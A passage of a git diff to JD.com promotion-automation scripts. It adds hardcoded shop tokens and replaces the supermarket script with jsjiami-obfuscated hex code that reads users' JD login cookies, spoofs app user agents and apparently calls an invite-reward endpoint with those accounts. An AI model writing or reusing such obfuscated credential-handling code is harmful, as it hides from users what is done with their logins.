'9A7B8B816C48227DDA5007490CFCB33C', - '04CC7B1B2CBB41F9B38D0E2EAF5A9FA6', - 'CC8AB17E5EDC1E6791D64AB83567525A', - '37D0FAA99892A9E613A1B46E5A55973B', - '7D9366077646C53C943688FC04FB5D59', - '96F2392DACD1DC4603F3E090792C9AEC', - 'D09126C24A62EA49DEDD538D4D85F6A7', - '8D650ABF6E6BE3C3C20715CA02434670', - 'E6C5F271F81BE651D01372C6BB826446', - '5E75F128888B2002D54A69A92BCE64AB', - 'FF584AB3FBCB3C7C4F75BE0ACFAD184C', - ] -} -console.log(token) const $ = new Env('店铺签到'); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; @@ -54,6 +24,28 @@ let activityId='' let vender='' let num=0 let shopname='' +const token = [ + "7B5E686A0CAF1C144620A3FFE04AFF1E", + "F0A7971BFC6A5C12B06A45080B6C04CF", + "A1577946DE409D3AC4B4FDCFF4681625", + "E0087463F85940305DCA705308208EBB", + "773D63918C47D32F33DDB2FB78C5820A", + "0D42F0A3359FBC13F816F22201F91EE6", + "FCE9F2E4FB075C3A2CBDF6C27F972B03", + "B60ECB73A9E19C9DC9097EC589C731A0", + "C1B3B8D4BBE96E6A3EF0C12F27F868D3", + "04CC7B1B2CBB41F9B38D0E2EAF5A9FA6", + "CC8AB17E5EDC1E6791D64AB83567525A", + "A6D7A29DB6C46B7D3F7CD6EC3AE110C6", + "F9E7DBB640BB2094C6A7755066DCE5CA", + "30D17316E31067004ED239DE9F121B0D", + "036CE87FFD9B0EFA470239B8BD857C8F", + "D35923E942C11178C38BD29E783695B8", + "1CC00BE22F9AE64294D7EC1839962E19", + "AB549463C778127E4A3EA0F9AE447F43", + "500B9537712BD828EFC8C4D036B9752A", + "D082916926793D99220819F05914C94F" +] if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { @@ -83,7 +75,7 @@ if ($.isNode()) { $.isLogin = true; $.nickName = ''; message = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); diff --git a/jd_superMarket.js b/jd_superMarket.js index 4aa1ca2..b02df42 100644 --- a/jd_superMarket.js +++ b/jd_superMarket.js @@ -1,1753 +1,17 @@ /* -东东超市 -Last Modified time: 2021-3-4 21:22:37 -活动入口:京东APP首页-京东超市-底部东东超市 -Some Functions Modified From https://github.com/Zero-S1/JD_tools/blob/master/JD_superMarket.py -东东超市兑换奖品请使用此脚本 jd_blueCoin.js -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -=================QuantumultX============== -[task_local] -#东东超市 -11 * * * * jd_superMarket.js, tag=东东超市, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true -===========Loon=============== -[Script] -cron "11 * * * *" script-path=jd_superMarket.js,tag=东东超市 -=======Surge=========== -东东超市 = type=cron,cronexp="11 * * * *",wake-system=1,timeout=3600,script-path=jd_superMarket.js -==============小火箭============= -东东超市 = type=cron,script-path=jd_superMarket.js, cronexpr="11 * * * *", timeout=3600, enable=true +京东超市-星币 + +1 12 * * * jd_supermarket.js + +只做任务, 赚取游戏机会, 手动做任务 */ -const $ = new Env('东东超市'); -//Node.js用户请在jdCookie.js处填写京东ck; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', jdSuperMarketShareArr = [], notify, newShareCodes; -let helpAu = true;//给作者助力 免费拿,省钱大赢家等活动.默认true是,false不助力. -helpAu = $.isNode() ? (process.env.HELP_AUTHOR ? process.env.HELP_AUTHOR === 'true' : helpAu) : helpAu; -let jdNotify = true;//用来是否关闭弹窗通知,true表示关闭,false表示开启。 -let superMarketUpgrade = true;//自动升级,顺序:解锁升级商品、升级货架,true表示自动升级,false表示关闭自动升级 -let businessCircleJump = true;//小于对方300热力值自动更换商圈队伍,true表示运行,false表示禁止 -let drawLotteryFlag = false;//是否用500蓝币去抽奖,true表示开启,false表示关闭。默认关闭 -let joinPkTeam = true;//是否自动加入PK队伍 -let message = '', subTitle; -const JD_API_HOST = 'https://api.m.jd.com/api'; +const $ = new Env('京东超市-星币'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//助力好友分享码 -//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 -//下面给出两个账号的填写示例(iOS只支持2个京东账号) -let shareCodes = [] -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.coincount = 0;//收取了多少个蓝币 - $.coinerr = ""; - $.blueCionTimes = 0; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxe745a=["\x61\x78\x69\x6F\x73","","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x65\x6E\x76","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x47\x49\x54\x48\x55\x42","\x69\x6E\x64\x65\x78\x4F\x66","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x65\x78\x69\x74","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\u274C\x20","\x6E\x61\x6D\x65","\x2C\x20\u5931\u8D25\x21\x20\u539F\u56E0\x3A\x20","\x21","\x63\x61\x74\x63\x68","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\u4EAC\u4E1C\u8D26\u53F7\u4E00\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x6D\x73\x67","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x69\x73\x4C\x6F\x67\x69\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x52\x65\x66\x65\x72\x65\x72","\x78\x78\x6C\x47\x61\x6D\x65","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\u3010\u63D0\u793A\u3011\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548","\u4EAC\u4E1C\u8D26\u53F7","\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548\x20\x2D\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\u51C6\u5907\u5F00\u59CB\x2E\x2E\x2E","\x72\x61\x6E\x64\x6F\x6D","\x77\x61\x69\x74","\x49\x73\x76\x54\x6F\x6B\x65\x6E","\u83B7\u53D6\x5B\x74\x6F\x6B\x65\x6E\x5D\u5931\u8D25\uFF01","\x6C\x6F\x67\x69\x6E","\x76\x69\x73\x69\x74\x43\x6F\x6E\x74\x65\x6E\x74","\u9996\u9875","\x76\x69\x73\x69\x74\x49\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E","\x68\x6F\x6D\x65","\x76\x69\x73\x69\x74","\x75\x73\x65\x72\x48\x6F\x6D\x65\x51\x75\x65\x72\x79","\x69\x6E\x69\x74\x47\x61\x6D\x65\x73\x4C\x69\x73\x74","\x74\x61\x73\x6B\x4E\x61\x6D\x65","\u4EFB\u52A1\u5927\u5385","\x63\x6C\x69\x63\x6B","\u4EFB\u52A1","\x74\x61\x73\x6B","\x69\x6E\x69\x74\x44\x61\x69\x6C\x79\x54\x61\x73\x6B\x73","\x74\x61\x73\x6B\x49\x64","\x74\x61\x73\x6B\x54\x79\x70\x65","\x76\x69\x70","\x74\x61\x73\x6B\x50\x69\x63","\x6D\x61\x78\x43\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73","\x74\x61\x73\x6B\x52\x75\x6C\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73","\x6E\x65\x65\x64\x43\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73","\x73\x68\x6F\x70\x4B\x65\x79","\x73\x68\x6F\x70\x49\x64","\x6A\x6F\x69\x6E\x76\x69\x70\x55\x72\x6C","\x69\x64","\u9080\u8BF7","\u8DF3\u8FC7","\u4EFB\u52A1\x2D\u5DF2\u5B8C\u6210","\u53BB\u505A","\u6D4F\u89C8","\x64\x6F\x54\x61\x73\x6B","\x6C\x65\x66\x74\x53\x63\x6F\x72\x65\x49\x6E\x66\x6F","\u5173\u6CE8","\u52A0\u8D2D","\x69\x6E\x69\x74\x44\x69\x61\x6C\x6F\x67","\x44\x69\x61\x6C\x6F\x67\x4F\x6E\x65","\u7B7E\u5230","\u4F1A\u5458","\u4EFB\u52A1\u83B7\u53D6\u5931\u8D25","\u5F00\u59CB\u73A9\u6E38\u620F","\x66\x69\x72\x73\x74\x50\x6C\x61\x79\x47\x61\x6D\x65","\x63\x6C\x69\x63\x6B\x46\x6C\x61\x67","\x76\x69\x73\x69\x74\x52\x65\x6D\x61\x72\x6B","\x67\x61\x6D\x65\x53\x74\x61\x74\x75\x73","\u6D88\u6D88\u4E50","\x74\x69\x74\x6C\x65\x4F\x66\x66","\x67\x61\x6D\x65\x49\x64","\u5171","\x67\x61\x6D\x65\x54\x69\x6D\x65\x73","\u6B21\u6E38\u620F\u673A\u4F1A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x7A\x62\x6B\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2D\x67\x61\x6D\x65\x2F\x73\x70\x54\x72\x69\x43\x72\x75\x73\x68\x2F\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C\x3F\x67\x61\x6D\x65\x49\x64\x3D","\u4E0D\u662F\u7B2C\u4E00\u6B21\u73A9\u6E38\u620F","\x73\x74\x61\x72\x74","\x67\x61\x6D\x65\x55\x75\x69\x64\x3A","\x67\x61\x6D\x65\x55\x75\x69\x64","\x72\x65\x73\x75\x6C\x74\x3A","\x72\x65\x73\x75\x6C\x74","\x65\x6E\x64","\u7B2C\u4E00\u6B21\u73A9\u6E38\u620F","\x67\x61\x6D\x65","\u8BB0\u5FC6","\x2D\u6682\u4E0D\u652F\u6301","\x20\x2D\x20","\x72\x65\x6D\x61\x72\x6B\x55\x70","\u83B7\u53D6\u6E38\u620F\u5931\u8D25\uFF01","\u53BB\u73A9\u6E38\u620F\uFF0C\u653E\u677E\u4E0B\uFF01","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x7A\x62\x6B\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D","\x70\x6F\x73\x74","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x75\x73\x65\x72\x2D\x69\x6E\x66\x6F\x2F\x6C\x6F\x67\x69\x6E\x3F\x6E\x77\x3D","\x6E\x6F\x77","\x30\x31","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x65\x76\x65\x6E\x74\x73\x2F\x76\x69\x73\x69\x74\x3F\x6E\x77\x3D","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x75\x73\x65\x72\x49\x6E\x66\x6F\x2F\x75\x73\x65\x72\x48\x6F\x6D\x65\x51\x75\x65\x72\x79\x3F\x73\x68\x61\x72\x65\x55\x73\x65\x72\x49\x64\x3D\x26\x6E\x77","\x67\x65\x74","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x67\x61\x6D\x65\x2F\x69\x6E\x69\x74\x47\x61\x6D\x65\x73\x4C\x69\x73\x74\x3F\x6E\x77\x3D","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x74\x61\x73\x6B\x2F\x69\x6E\x69\x74\x44\x61\x69\x6C\x79\x54\x61\x73\x6B\x73\x3F\x6E\x77\x3D","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x73\x68\x6F\x70\x2F\x6C\x65\x66\x74\x53\x63\x6F\x72\x65\x49\x6E\x66\x6F\x3F\x6E\x77\x3D","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x74\x61\x73\x6B\x2F\x64\x6F\x54\x61\x73\x6B\x3F\x6E\x77\x3D","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x65\x76\x65\x6E\x74\x73\x2F\x63\x6C\x69\x63\x6B\x3F\x6E\x77\x3D","\u524D\u5F80\u4EFB\u52A1\u5927\u5385","\x31\x32","\u4ECE\u4E3B\u9875\u524D\u5F80\u4EFB\u52A1","\x62\x74\x6E\x4E\x61\x6D\x65","\u7EE7\u7EED\u901B","\u53BB\u6D4F\u89C8","\u6D4F\u89C8\u5E97\u94FA","\u52A0\u8D2D\u5546\u54C1","\u53BB\u7B7E\u5230","\u4F1A\u5458\u4EFB\u52A1","\u53BB\u9886\u53D6","\u5F00\u59CB\u6E38\u620F","\x30","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x74\x61\x73\x6B\x2F\x69\x6E\x69\x74\x44\x69\x61\x6C\x6F\x67\x3F\x6E\x77\x3D","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x67\x61\x6D\x65\x2F\x73\x74\x61\x72\x74","\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x61\x70\x69\x2F\x67\x61\x6D\x65\x2F\x65\x6E\x64","\x74\x61\x72\x67\x65\x74\x53\x63\x6F\x72\x65","\x65\x6E\x64\x5F\x62\x6F\x64\x79\x3A","\u9519\u8BEF\u7801\x3A","\x63\x6F\x64\x65","\x74\x68\x65\x6E","\x68\x65\x61\x64\x65\x72\x73","\x74\x69\x6D\x65\x6F\x75\x74","\x64\x61\x74\x61","\x54\x6F\x6B\x65\x6E","\x74\x6F\x6B\x65\x6E","\x6C\x61\x6E\x53\x63\x6F\x72\x65","\x73\x74\x61\x72\x53\x63\x6F\x72\x65","\x75\x73\x65\x72\x49\x64","\x75\x73\x65\x72\x50\x69\x63","\u5DF2\u5B8C\u6210","\x65\x6E\x64\x3A","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E\x2C\x20\x74\x65\x78\x74\x2F\x70\x6C\x61\x69\x6E\x2C\x20\x2A\x2F\x2A","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x7A\x68\x2D\x43\x4E\x2C\x7A\x68\x3B\x71\x3D\x30\x2E\x39\x2C\x65\x6E\x2D\x55\x53\x3B\x71\x3D\x30\x2E\x38\x2C\x65\x6E\x3B\x71\x3D\x30\x2E\x37","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x63\x6F\x6D\x2E\x6A\x69\x6E\x67\x64\x6F\x6E\x67\x2E\x61\x70\x70\x2E\x6D\x61\x6C\x6C","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x7A\x62\x6B\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x2F\x3F\x73\x69\x64\x3D\x26\x75\x6E\x5F\x61\x72\x65\x61\x3D","\x43\x6F\x6F\x6B\x69\x65","\x49\x73\x76\x54\x6F\x6B\x65\x6E\x3D","\x3B","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E\x3B\x63\x68\x61\x72\x73\x65\x74\x3D\x55\x54\x46\x2D\x38","\x70\x61\x72\x73\x65","\x6F\x62\x6A\x65\x63\x74","\u4EAC\u4E1C\u670D\u52A1\u5668\u8BBF\u95EE\u6570\u636E\u4E3A\u7A7A\uFF0C\u8BF7\u68C0\u67E5\u81EA\u8EAB\u8BBE\u5907\u7F51\u7EDC\u60C5\u51B5","\x73\x74\x72\x69\x6E\x67","\u4E0D\u8981\u5728\x42\x6F\x78\x4A\x53\u624B\u52A8\u590D\u5236\u7C98\u8D34\u4FEE\u6539\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x26\x6C\x6D\x74\x3D\x30","\x62\x6F\x64\x79\x3D\x25\x37\x42\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43\x25\x32\x32\x75\x72\x6C\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x32\x46\x25\x32\x46\x6C\x7A\x62\x6B\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x25\x32\x46\x6A\x64\x73\x75\x70\x65\x72\x6D\x61\x72\x6B\x65\x74\x25\x32\x46\x25\x33\x46\x73\x69\x64\x25\x33\x44\x25\x32\x36\x75\x6E\x5F\x61\x72\x65\x61\x25\x33\x44\x25\x32\x32\x25\x37\x44\x26\x75\x75\x69\x64\x3D\x66\x33\x65\x64\x33\x32\x33\x32\x63\x38\x61\x7A\x39\x61\x30\x61\x62\x35\x65\x38\x38\x30\x30\x31\x37\x36\x31\x39\x39\x32\x31\x31\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x31\x31\x2E\x31\x2E\x34\x26\x73\x74\x3D\x31\x36\x35\x38\x35\x38\x38\x35\x37\x33\x33\x33\x35\x26\x73\x69\x67\x6E\x3D\x38\x65\x33\x39\x33\x64\x35\x36\x63\x36\x61\x65\x62\x30\x39\x33\x32\x34\x62\x63\x63\x30\x34\x39\x35\x36\x32\x31\x64\x64\x31\x36\x26\x73\x76\x3D\x31\x31\x31","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x7A\x68\x2D\x63\x6E","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x73\x74\x61\x74\x75\x73","\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78","\x78","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x72\x65\x70\x6C\x61\x63\x65","\x2E","\x5F","\x55\x41","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x31\x30\x2E\x34\x2E\x36\x3B","\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20","\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x6A\x64\x6C\x74\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x33\x2E\x38\x2E\x31\x30\x3B\x31\x30\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x6D\x6F\x64\x65\x6C\x2F\x4D\x49\x20\x38\x3B\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2F\x31\x39\x36\x39\x39\x39\x38\x30\x35\x39\x3B\x61\x69\x64\x2F\x38\x35\x36\x36\x39\x37\x32\x64\x66\x64\x39\x61\x37\x39\x35\x64\x3B\x6F\x61\x69\x64\x2F\x34\x61\x38\x62\x37\x37\x33\x63\x33\x65\x33\x30\x37\x33\x38\x36\x3B\x6F\x73\x56\x65\x72\x2F\x32\x39\x3B\x61\x70\x70\x42\x75\x69\x6C\x64\x2F\x31\x34\x33\x36\x3B\x70\x73\x6E\x2F\x50\x68\x59\x62\x55\x74\x43\x73\x43\x4A\x6F\x20\x72\x20\x31\x62\x38\x68\x77\x78\x6A\x6E\x59\x38\x72\x45\x76\x35\x53\x38\x58\x43\x7C\x33\x38\x33\x3B\x70\x73\x71\x2F\x31\x34\x3B\x61\x64\x6B\x2F\x3B\x61\x64\x73\x2F\x3B\x70\x61\x70\x2F\x4A\x41\x32\x30\x32\x30\x5F\x33\x31\x31\x32\x35\x33\x31\x7C\x33\x2E\x38\x2E\x31\x30\x7C\x41\x4E\x44\x52\x4F\x49\x44\x20\x31\x30\x3B\x6F\x73\x76\x2F\x31\x30\x3B\x70\x76\x2F\x33\x37\x34\x2E\x31\x34\x3B\x6A\x64\x76\x2F\x30\x7C\x69\x6F\x73\x61\x70\x70\x7C\x74\x5F\x33\x33\x35\x31\x33\x39\x37\x37\x34\x7C\x6C\x69\x74\x65\x73\x68\x61\x72\x65\x7C\x43\x6F\x70\x79\x55\x52\x4C\x7C\x31\x36\x30\x39\x33\x30\x36\x35\x39\x30\x31\x37\x35\x7C\x31\x36\x30\x39\x33\x30\x36\x35\x39\x36\x3B\x72\x65\x66\x2F\x63\x6F\x6D\x2E\x6A\x64\x2E\x6A\x64\x6C\x69\x74\x65\x2E\x6C\x69\x62\x2E\x6A\x64\x6C\x69\x74\x65\x6D\x65\x73\x73\x61\x67\x65\x2E\x76\x69\x65\x77\x2E\x61\x63\x74\x69\x76\x69\x74\x79\x2E\x4D\x65\x73\x73\x61\x67\x65\x43\x65\x6E\x74\x65\x72\x4D\x61\x69\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x3B\x70\x61\x72\x74\x6E\x65\x72\x2F\x6A\x73\x78\x64\x6C\x79\x71\x6A\x30\x39\x3B\x61\x70\x70\x72\x70\x64\x2F\x4D\x65\x73\x73\x61\x67\x65\x43\x65\x6E\x74\x65\x72\x5F\x4D\x65\x73\x73\x61\x67\x65\x4D\x65\x72\x67\x65\x3B\x65\x75\x66\x76\x2F\x31\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x4D\x49\x20\x38\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x30\x38\x32\x38\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x36\x36\x2E\x30\x2E\x33\x33\x35\x39\x2E\x31\x32\x36\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x35\x31\x34\x30\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\x31\x32\x2E\x30","\x31\x32\x2E\x31","\x31\x32\x2E\x32","\x31\x32\x2E\x33","\x31\x32\x2E\x34","\x31\x32\x2E\x35","\x31\x33\x2E\x30","\x31\x33\x2E\x31","\x31\x33\x2E\x32","\x31\x33\x2E\x33","\x31\x33\x2E\x34","\x31\x33\x2E\x35","\x31\x33\x2E\x36","\x31\x33\x2E\x37","\x31\x34\x2E\x30","\x31\x34\x2E\x31","\x31\x34\x2E\x32","\x31\x34\x2E\x33","\x31\x34\x2E\x34","\x31\x34\x2E\x35","\x31\x34\x2E\x36","\x31\x34\x2E\x37","\x31\x34\x2E\x38","\x31\x35\x2E\x30","\x31\x35\x2E\x31","\x31\x35\x2E\x32","\x31\x35\x2E\x33","\x66\x6C\x6F\x6F\x72","\x51\x65\x49\x65\x78\x6B\x61\x46\x43\x35\x75\x4F\x54\x58\x65\x31\x48\x36\x38\x6B\x47\x77\x3D\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6E\x76\x69\x74\x65\x2D\x72\x65\x77\x61\x72\x64\x2E\x6A\x64\x2E\x63\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6E\x76\x69\x74\x65\x2D\x72\x65\x77\x61\x72\x64\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x49\x6E\x76\x69\x74\x65\x46\x72\x69\x65\x6E\x64\x41\x70\x69\x53\x65\x72\x76\x69\x63\x65\x26\x62\x6F\x64\x79\x3D\x7B\x22\x6D\x65\x74\x68\x6F\x64\x22\x3A\x22\x61\x74\x74\x65\x6E\x64\x49\x6E\x76\x69\x74\x65\x4